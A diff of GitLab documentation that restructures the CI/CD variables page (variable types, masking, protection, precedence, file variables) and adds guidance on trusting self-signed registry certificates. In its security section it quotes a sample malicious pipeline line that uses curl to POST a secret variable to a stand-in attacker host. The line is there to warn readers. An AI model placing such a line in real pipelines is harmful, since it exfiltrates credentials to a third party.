+- If you're using TLS to communicate with the Docker daemon, the executor [must be running in privileged mode](https://docs.gitlab.com/runner/executors/kubernetes.html#other-configtoml-settings). Additionally, the certificate directory must be [specified as a volume mount](../docker/using_docker_build.md#docker-in-docker-with-tls-enabled-in-kubernetes).
+- It is possible that the DinD service doesn't start up fully before the Code Quality job starts. This is a limitation documented in
+the [Kubernetes executor for GitLab Runner](https://docs.gitlab.com/runner/executors/kubernetes.html#docker-cannot-connect-to-the-docker-daemon-at-tcpdocker2375-is-the-docker-daemon-running) troubleshooting section.
+
+### Error: `x509: certificate signed by unknown authority`
+
+If you set the `CODE_QUALITY_IMAGE` to an image that is hosted in a Docker registry which uses a TLS
+certificate that is not trusted, such as a self-signed certificate, you can see errors like the one
+below:
+
+```shell
+$ docker pull --quiet "$CODE_QUALITY_IMAGE"
+Error response from daemon: Get https://gitlab.example.com/v2/: x509: certificate signed by unknown authority
+```
+
+To fix this, configure the Docker daemon to [trust certificates](https://docs.docker.com/registry/insecure/#use-self-signed-certificates)
+by putting the certificate inside of the `/etc/docker/certs.d` directory.
+
+This Docker daemon is exposed to the subsequent Code Quality Docker container in the
+[GitLab Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml#L41)
+and should be to exposed any other containers in which you want to have your certificate
+configuration apply.
+
+#### Docker
+
+If you have access to GitLab Runner configuration, add the directory as a
+[volume mount](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section).
+
+Replace `gitlab.example.com` with the actual domain of the registry.
+
+Example:
+
+```toml
+[[runners]]
+ ...
+ executor = "docker"
+ [runners.docker]
+ ...
+ privileged = true
+ volumes = ["/cache", "/etc/gitlab-runner/certs/gitlab.example.com.crt:/etc/docker/certs.d/gitlab.example.com/ca.crt:ro"]
+```
+
+#### Kubernetes
+
+If you have access to GitLab Runner configuration and the Kubernetes cluster,
+you can [mount a ConfigMap](https://docs.gitlab.com/runner/executors/kubernetes.html#configmap-volumes).
+
+Replace `gitlab.example.com` with the actual domain of the registry.
+
+1. Create a ConfigMap with the certificate:
+
+ ```shell
+ kubectl create configmap registry-crt --namespace gitlab-runner --from-file /etc/gitlab-runner/certs/gitlab.example.com.crt
+ ```
+
+1. Update GitLab Runner `config.toml` to specify the ConfigMap:
+
+ ```toml
+ [[runners]]
+ ...
+ executor = "kubernetes"
+ [runners.kubernetes]
+ image = "alpine:3.12"
+ privileged = true
+ [[runners.kubernetes.volumes.config_map]]
+ name = "registry-crt"
+ mount_path = "/etc/docker/certs.d/gitlab.example.com/ca.crt"
+ sub_path = "gitlab.example.com.crt"
+ ```
diff --git a/doc/ci/testing/img/code_quality_host_bound_sequential.png b/doc/ci/testing/img/code_quality_host_bound_sequential.png
deleted file mode 100644
index 2b31f3b42ee..00000000000
--- a/doc/ci/testing/img/code_quality_host_bound_sequential.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/triggers/index.md b/doc/ci/triggers/index.md
index a667836fee4..16530ea20b6 100644
--- a/doc/ci/triggers/index.md
+++ b/doc/ci/triggers/index.md
@@ -125,7 +125,7 @@ Replace:
If you trigger a pipeline by using a webhook, you can access the webhook payload with
the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variables.md).
-The payload is exposed as a [file-type variable](../variables/index.md#cicd-variable-types),
+The payload is exposed as a [file-type variable](../variables/index.md#use-file-type-cicd-variables),
so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command.
### Pass CI/CD variables in the API call
diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md
index 81e13192cef..6783ab1bfed 100644
--- a/doc/ci/troubleshooting.md
+++ b/doc/ci/troubleshooting.md
@@ -60,7 +60,7 @@ pipeline, and what their values are. A lot of pipeline configuration is dependen
on variables, and verifying them is one of the fastest ways to find the source of
a problem.
-[Export the full list of variables](variables/index.md#list-all-environment-variables)
+[Export the full list of variables](variables/index.md#list-all-variables)
available in each problematic job. Check if the variables you expect are present,
and check if their values are what you expect.
@@ -249,7 +249,7 @@ The merge request status widget shows the **Merge** button and whether or not a
request is ready to merge. If the merge request can't be merged, the reason for this
is displayed.
-If the pipeline is still running, the **Merge** button is replaced with the
+If the pipeline is still running, **Merge** is replaced with the
**Merge when pipeline succeeds** button.
If [**Merge Trains**](pipelines/merge_trains.md)
diff --git a/doc/ci/variables/img/ci_job_stage_output_example.png b/doc/ci/variables/img/ci_job_stage_output_example.png
deleted file mode 100644
index 2344b19d9b3..00000000000
--- a/doc/ci/variables/img/ci_job_stage_output_example.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/variables/img/custom_variables_output.png b/doc/ci/variables/img/custom_variables_output.png
deleted file mode 100644
index 797e9ec07b9..00000000000
--- a/doc/ci/variables/img/custom_variables_output.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/variables/img/inherited_group_variables_v12_5.png b/doc/ci/variables/img/inherited_group_variables_v12_5.png
deleted file mode 100644
index cce024cfab8..00000000000
--- a/doc/ci/variables/img/inherited_group_variables_v12_5.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/variables/index.md b/doc/ci/variables/index.md
index 10dfa0174a0..5a1426b1356 100644
--- a/doc/ci/variables/index.md
+++ b/doc/ci/variables/index.md
@@ -13,21 +13,19 @@ CI/CD variables are a type of environment variable. You can use them to:
- Store values you want to re-use.
- Avoid hard-coding values in your `.gitlab-ci.yml` file.
-You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
+You can use:
-- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
-- [Project CI/CD variables](#add-a-cicd-variable-to-a-project).
-- [Group CI/CD variables](#add-a-cicd-variable-to-a-group).
-- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance).
+- [Predefined CI/CD variables](#predefined-cicd-variables).
+- [Variables defined in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file).
+- [Variables defined in project, group, or instance settings](#define-a-cicd-variable-in-the-ui).
-NOTE:
-Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md).
-To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`:
+You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
+or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
-```yaml
-variables:
- SA_PASSWORD: $SA_PASSWORD
-```
+Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html)
+to execute scripts. Each shell has its own set of reserved variable names.
+
+Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md).
> For more information about advanced use of GitLab CI/CD:
>
@@ -38,53 +36,22 @@ variables:
## Predefined CI/CD variables
-GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md)
-you can use in pipelines configuration and job scripts.
-
-### Use predefined CI/CD variables
+GitLab CI/CD makes a set of [predefined CI/CD variables](predefined_variables.md)
+available for use in pipeline configuration and job scripts. You can use predefined CI/CD variables
+in your `.gitlab-ci.yml` without declaring them first.
-You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first.
-
-This example shows how to output a job's stage by using the `CI_JOB_STAGE`
-predefined variable:
+For example:
```yaml
-test_variable:
+job1:
stage: test
script:
- echo "$CI_JOB_STAGE"
```
-The script outputs the `stage` for the `test_variable`, which is `test`:
+The script in this example outputs the stage for the `job1` job, which is `test`.
-![Output `$CI_JOB_STAGE`](img/ci_job_stage_output_example.png)
-
-## Custom CI/CD variables
-
-You can create custom CI/CD variables:
-
-- For a project:
- - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- - [In the project's settings](#add-a-cicd-variable-to-a-project).
- - [With the API](../../api/project_level_variables.md).
-- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group).
-- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance).
-
-You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
-or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
-
-There are two types of variables: [`File` or `Variable`](#cicd-variable-types).
-
-Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html)
-to execute scripts. Each shell has its own set of reserved variable names.
-
-Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md).
-
-By default, pipelines from forked projects can't access CI/CD variables in the parent project.
-If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project),
-all variables become available to the pipeline.
-
-### Create a custom CI/CD variable in the `.gitlab-ci.yml` file
+## Define a CI/CD variable in the `.gitlab-ci.yml` file
To create a custom variable in the [`.gitlab-ci.yml`](../yaml/index.md#variables) file,
define the variable and value with `variables` keyword.
@@ -125,33 +92,29 @@ Use the [`value` and `description`](../yaml/index.md#variablesdescription)
keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually).
-### Use variables in other variables
+## Define a CI/CD variable in the UI
-You can use variables inside other variables:
+You can define CI/CD variables in the UI:
-```yaml
-job:
- variables:
- FLAGS: '-al'
- LS_CMD: 'ls "$FLAGS"'
- script:
- - 'eval "$LS_CMD"' # Executes 'ls -al'
-```
+- For a project:
+ - [In the project's settings](#for-a-project).
+ - [With the API](../../api/project_level_variables.md).
+- For all projects in a group [in the group's setting](#for-a-group).
+- For all projects in a GitLab instance [in the instance's settings](#for-an-instance).
-#### Use the `$` character in variables
+By default, pipelines from forked projects can't access CI/CD variables in the parent project.
+If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project),
+all variables become available to the pipeline.
-If you do not want the `$` character interpreted as the start of a variable, use `$$` instead:
+Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md).
+To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`:
```yaml
-job:
- variables:
- FLAGS: '-al'
- LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
- script:
- - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR'
+variables:
+ SA_PASSWORD: $SA_PASSWORD
```
-### Add a CI/CD variable to a project
+### For a project
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, projects can define a maximum of 200 CI/CD variables.
@@ -167,40 +130,28 @@ To add or update variables in the project settings:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- - **Type**: [`File` or `Variable`](#cicd-variable-types).
- - **Environment scope**: Optional. `All`, or specific [environments](../environments/index.md).
+ - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables).
+ - **Environment scope**: Optional. `All`, or specific [environments](../environments/index.md#limit-the-environment-scope-of-a-cicd-variable).
- **Protect variable** Optional. If selected, the variable is only available
in pipelines that run on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md).
- **Mask variable** Optional. If selected, the variable's **Value** is masked
in job logs. The variable fails to save if the value does not meet the
[masking requirements](#mask-a-cicd-variable).
-After you create a variable, you can use it in the `.gitlab-ci.yml` file:
+After you create a variable, you can use it in the [`.gitlab-ci.yml` configuration](../yaml/index.md)
+or in [job scripts](#use-cicd-variables-in-job-scripts).
-```yaml
-test_variable:
- stage: test
- script:
- - echo "$CI_JOB_STAGE" # calls a predefined variable
- - echo "$TEST" # calls a custom variable of type `env_var`
- - echo "$GREETING" # calls a custom variable of type `file` that contains the path to the temp file
- - cat "$GREETING" # the temp file itself contains the variable value
-```
-
-The output is:
-
-![Output custom variable](img/custom_variables_output.png)
-
-### Add a CI/CD variable to a group
+### For a group
> - Support for environment scopes [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) in GitLab Premium 13.11
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, groups can define a maximum of 200 CI/CD variables.
-To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. Only group owners can add or update group-level CI/CD variables.
+To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
+You must be a group owner.
Use group variables to store secrets like passwords, SSH keys, and credentials, if you:
-- Do **not** use an external key store.
+- Do not use an external key store.
- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
To add a group variable:
@@ -210,27 +161,19 @@ To add a group variable:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- - **Type**: [`File` or `Variable`](#cicd-variable-types).
- - **Environment scope** Optional. `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
+ - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables).
+ - **Environment scope** Optional. `All`, or specific [environments](../environments/index.md#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
- **Protect variable** Optional. If selected, the variable is only available
in pipelines that run on protected branches or tags.
- **Mask variable** Optional. If selected, the variable's **Value** is masked
in job logs. The variable fails to save if the value does not meet the
[masking requirements](#mask-a-cicd-variable).
-#### View all group-level variables available in a project
-
-To view all the group-level variables available in a project:
-
-1. In the project, go to **Settings > CI/CD**.
-1. Expand the **Variables** section.
+The group variables that are available in a project are listed in the project's
+**Settings > CI/CD > Variables** section. Variables from [subgroups](../../user/group/subgroups/index.md)
+are recursively inherited.
-Variables from [subgroups](../../user/group/subgroups/index.md) are recursively
-inherited.
-
-![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
-
-### Add a CI/CD variable to an instance **(FREE SELF)**
+### For an instance **(FREE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11.
@@ -248,90 +191,43 @@ To add an instance variable:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: In [GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028),
- 10,000 characters is allowed. This is also bounded by the limits of the selected
- runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed.
- - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ the value is limited to 10,000 characters, but also bounded by any limits in the
+ runner's operating system. In GitLab 13.0 to 13.2, the value is limited to 700 characters.
+ - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables).
- **Protect variable** Optional. If selected, the variable is only available
in pipelines that run on protected branches or tags.
- **Mask variable** Optional. If selected, the variable's **Value** is not shown
in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable).
-### CI/CD variable types
-
-All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file
-are `Variable` type. Project, group and instance CI/CD variables can be `Variable`
-or `File` type.
-
-`Variable` type variables:
-
-- Consist of a key and value pair.
-- Are made available in jobs as environment variables, with:
- - The CI/CD variable key as the environment variable name.
- - The CI/CD variable value as the environment variable value.
-
-Use `File` type CI/CD variables for tools that need a file as input.
-
-`File` type variables:
-
-- Consist of a key, value and file.
-- Are made available in jobs as environment variables, with
- - The CI/CD variable key as the environment variable name.
- - The CI/CD variable value saved to a temporary file.
- - The path to the temporary file as the environment variable value.
-
-Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
-and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable)
-use `File` type variables for configuration.
-
-For example, if you have the following variables:
-
-- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`.
-- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value.
+The instance variables that are available in a project are listed in the project's
+**Settings > CI/CD > Variables** section.
-Use the variables in a job script like this:
-
-```shell
-kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
-```
+## CI/CD variable security
-WARNING:
-Be careful when assigning the value of a file variable to another variable. The other
-variable takes the content of the file as its value, **not** the path to the file.
-See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details.
-
-An alternative to `File` type variables is to:
-
-- Read the value of a CI/CD variable (`variable` type).
-- Save the value in a file.
-- Use that file in your script.
+Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables
+and send them to a third party server regardless of the masked setting. If the pipeline
+runs on a [protected branch](../../user/project/protected_branches.md) or
+[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables.
-```shell
-# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
-cat "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
-# Pass the newly created file to kubectl
-kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
-```
+Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you:
-#### Store multiple values in one variable
+- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project).
+- Merge the changes.
-It is not possible to create a CI/CD variable that is an array of values, but you
-can use shell scripting techniques for similar behavior.
+Review the `.gitlab-ci.yml` file of imported projects before you add files or run pipelines against them.
-For example, you can store multiple variables separated by a space in a variable,
-then loop through the values with a script:
+The following example shows malicious code in a `.gitlab-ci.yml` file:
```yaml
-job1:
- variables:
- FOLDERS: src test docs
+build:
script:
- - |
- for FOLDER in $FOLDERS
- do
- echo "The path is root/${FOLDER}"
- done
+ - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
```
+Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)
+and stored in the database. This data can only be read and decrypted with a
+valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
+
### Mask a CI/CD variable
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330650) in GitLab 13.12, the `~` character can be used in masked variables.
@@ -360,7 +256,7 @@ WARNING:
Masking a CI/CD variable is not a guaranteed way to prevent malicious users from
accessing variable values. The masking feature is "best-effort" and there to
help when a variable is accidentally revealed. To make variables more secure,
-consider using [external secrets](../secrets/index.md) and [file type variables](#cicd-variable-types)
+consider using [external secrets](../secrets/index.md) and [file type variables](#use-file-type-cicd-variables)
to prevent commands such as `env`/`printenv` from printing secret variables.
Runner versions implement masking in different ways, some with technical
@@ -372,7 +268,7 @@ limitations. Below is a table of such limitations.
| v14.2.0 | v15.3.0 | The tail of a large secret (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. |
| v15.7.0 | | Potential for secrets to be revealed when `CI_DEBUG_SERVICES` is enabled. For details, read about [service container logging](../services/index.md#capturing-service-container-logs). |
-### Protected CI/CD variables
+### Protect a CI/CD variable
You can configure a project, group, or instance CI/CD variable to be available
only to pipelines that run on [protected branches](../../user/project/protected_branches.md)
@@ -394,60 +290,61 @@ To mark a variable as protected:
The variable is available for all subsequent pipelines.
-### Expand CI/CD variables
+### Use file type CI/CD variables
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 13.7.
+All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file
+are `Variable` type. Project, group and instance CI/CD variables can be `Variable`
+or `File` type.
-Expanded variables treat values with the `$` character as a reference to another variable. CI/CD variables are expanded
-by default.
+`Variable` type variables:
-To treat variables with a `$` character as raw strings, disable variable expansion for the variable:
+- Consist of a key and value pair.
+- Are made available in jobs as environment variables, with:
+ - The CI/CD variable key as the environment variable name.
+ - The CI/CD variable value as the environment variable value.
-1. In the project or group, go to **Settings > CI/CD**.
-1. Expand the **Variables** section.
-1. Next to the variable you want to do not want expanded, select **Edit**.
-1. Clear the **Expand variable** checkbox.
-1. Select **Update variable**.
+Use `File` type CI/CD variables for tools that need a file as input.
-### CI/CD variable security
+`File` type variables:
-Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables
-and send them to a third party server regardless of the masked setting. If the pipeline
-runs on a [protected branch](../../user/project/protected_branches.md) or
-[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables.
+- Consist of a key, value and file.
+- Are made available in jobs as environment variables, with
+ - The CI/CD variable key as the environment variable name.
+ - The CI/CD variable value saved to a temporary file.
+ - The path to the temporary file as the environment variable value.
-Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you:
+Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
+and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable)
+use `File` type variables for configuration.
-- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project).
-- Merge the changes.
+For example, if you have the following variables:
-Review the `.gitlab-ci.yml` file of imported projects before you add files or run pipelines against them.
+- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`.
+- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value.
-The following example shows malicious code in a `.gitlab-ci.yml` file:
+Use the variables in a job script like this:
-```yaml
-build:
- script:
- - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
+```shell
+kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
```
-Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)
-and stored in the database. This data can only be read and decrypted with a
-valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
-
-### Custom variables validated by GitLab
+WARNING:
+Be careful when assigning the value of a file variable to another variable. The other
+variable takes the content of the file as its value, **not** the path to the file.
+See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details.
-Some variables are listed in the UI so you can choose them more quickly.
+An alternative to `File` type variables is to:
-| Variable | Allowed Values | Introduced in |
-|-------------------------|----------------------------------------------------|---------------|
-| `AWS_ACCESS_KEY_ID` | Any | 12.10 |
-| `AWS_DEFAULT_REGION` | Any | 12.10 |
-| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 |
+- Read the value of a CI/CD variable (`variable` type).
+- Save the value in a file.
+- Use that file in your script.
-WARNING:
-When you store credentials, there are [security implications](#cicd-variable-security).
-If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
+```shell
+# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
+echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
+# Pass the newly created file to kubectl
+kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
+```
## Use CI/CD variables in job scripts
@@ -457,7 +354,7 @@ shell.
To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/).
-### Use variables with Bash, `sh` and similar
+### With Bash, `sh` and similar
To access environment variables in Bash, `sh`, and similar shells, prefix the
CI/CD variable with (`$`):
@@ -468,7 +365,7 @@ job_name:
- echo "$CI_JOB_ID"
```
-### Use variables with PowerShell
+### With PowerShell
To access variables in a Windows PowerShell environment, including environment
variables set by the system, prefix the variable name with (`$env:`) or (`$`):
@@ -490,7 +387,7 @@ job_name:
- D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
```
-### Use variables with Windows Batch
+### With Windows Batch
To access CI/CD variables in Windows Batch, surround the variable
with `%`:
@@ -510,48 +407,7 @@ job_name:
- echo !ERROR_MESSAGE!
```
-### List all environment variables
-
-You can list all environment variables available to a script with the `export` command
-in Bash or `dir env:` in PowerShell. This exposes the values of **all** available
-variables, which can be a [security risk](#cicd-variable-security).
-[Masked variables](#mask-a-cicd-variable) display as `[masked]`.
-
-For example:
-
-```yaml
-job_name:
- script:
- - export
- # - 'dir env:' # Use this for PowerShell
-```
-
-Example job log output (truncated):
-
-```shell
-export CI_JOB_ID="50"
-export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
-export CI_COMMIT_SHORT_SHA="1ecfd275"
-export CI_COMMIT_REF_NAME="main"
-export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
-export CI_COMMIT_TAG="1.0.0"
-export CI_JOB_NAME="spec:other"
-export CI_JOB_STAGE="test"
-export CI_JOB_MANUAL="true"
-export CI_JOB_TRIGGERED="true"
-export CI_JOB_TOKEN="[masked]"
-export CI_PIPELINE_ID="1000"
-export CI_PIPELINE_IID="10"
-export CI_PAGES_DOMAIN="gitlab.io"
-export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss"
-export CI_PROJECT_ID="34"
-export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss"
-export CI_PROJECT_NAME="gitlab-foss"
-export CI_PROJECT_TITLE="GitLab FOSS"
-...
-```
-
-## Pass an environment variable to another job
+### Pass an environment variable to another job
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1.
@@ -566,7 +422,7 @@ they can be used in job scripts.
- Each defined line must be of the form `VARIABLE_NAME=ANY VALUE HERE`.
- Values can be wrapped in quotes, but cannot contain newline characters.
1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/artifacts_reports.md#artifactsreportsdotenv)
-artifact.
+ artifact.
1. Jobs in later stages can then [use the variable in scripts](#use-cicd-variables-in-job-scripts).
Inherited variables [take precedence](#cicd-variable-precedence) over
@@ -616,7 +472,6 @@ deploy_one:
name: customer1
deployment_tier: production
-
deploy_two:
stage: deploy
script:
@@ -636,7 +491,6 @@ deploy_three:
name: customer3
deployment_tier: production
-
deploy_four:
stage: deploy
script:
@@ -663,6 +517,67 @@ deploy_five:
[Multi-project pipelines](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job)
can also inherit variables from their upstream pipelines.
+### Store multiple values in one variable
+
+You cannot create a CI/CD variable that is an array of values, but you
+can use shell scripting techniques for similar behavior.
+
+For example, you can store multiple variables separated by a space in a variable,
+then loop through the values with a script:
+
+```yaml
+job1:
+ variables:
+ FOLDERS: src test docs
+ script:
+ - |
+ for FOLDER in $FOLDERS
+ do
+ echo "The path is root/${FOLDER}"
+ done
+```
+
+## Use CI/CD variables in other variables
+
+You can use variables inside other variables:
+
+```yaml
+job:
+ variables:
+ FLAGS: '-al'
+ LS_CMD: 'ls "$FLAGS"'
+ script:
+ - 'eval "$LS_CMD"' # Executes 'ls -al'
+```
+
+### Use the `$` character in CI/CD variables
+
+If you do not want the `$` character interpreted as the start of a variable, use `$$` instead:
+
+```yaml
+job:
+ variables:
+ FLAGS: '-al'
+ LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
+ script:
+ - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR'
+```
+
+### Prevent CI/CD variable expansion
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 15.7.
+
+Expanded variables treat values with the `$` character as a reference to another variable.
+CI/CD variables are expanded by default.
+
+To treat variables with a `$` character as raw strings, disable variable expansion for the variable:
+
+1. In the project or group, go to **Settings > CI/CD**.
+1. Expand the **Variables** section.
+1. Next to the variable you want to do not want expanded, select **Edit**.
+1. Clear the **Expand variable** checkbox.
+1. Select **Update variable**.
+
## CI/CD variable precedence
You can use CI/CD variables with the same name in different places, but the values
@@ -676,16 +591,16 @@ The order of precedence for variables is (from highest to lowest):
- [Scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule).
- [Manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually).
- Variables added when [creating a pipeline with the API](../../api/pipelines.md#create-a-new-pipeline).
-1. Project [variables](#custom-cicd-variables).
-1. Group [variables](#add-a-cicd-variable-to-a-group). If the same variable name exists in a
+1. Project [variables](#for-a-project).
+1. Group [variables](#for-a-group). If the same variable name exists in a
group and its subgroups, the job uses the value from the closest subgroup. For example, if
you have `Group > Subgroup 1 > Subgroup 2 > Project`, the variable defined in
`Subgroup 2` takes precedence.
-1. Instance [variables](#add-a-cicd-variable-to-an-instance).
+1. Instance [variables](#for-an-instance).
1. [Inherited variables](#pass-an-environment-variable-to-another-job).
1. Variables defined in jobs in the `.gitlab-ci.yml` file.
1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file.
-1. [Deployment variables](#deployment-variables).
+1. [Deployment variables](predefined_variables.md#deployment-variables).
1. [Predefined variables](predefined_variables.md).
In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`.
@@ -702,7 +617,7 @@ job1:
- echo "The variable value is $API_TOKEN"
```
-## Override a defined CI/CD variable
+### Override a defined CI/CD variable
You can override the value of a variable when you:
@@ -743,46 +658,66 @@ use this setting for control over the environment the pipeline runs in.
You can enable this feature by using [the projects API](../../api/projects.md#edit-project)
to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default.
-## Limit the environment scope of a CI/CD variable
+## Related topics
-By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a
-compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is
-a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting
-the environment scope of a variable. GitLab does this by
-[defining which environments and corresponding jobs](../environments/index.md)
-the variable can be available for.
+- You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables
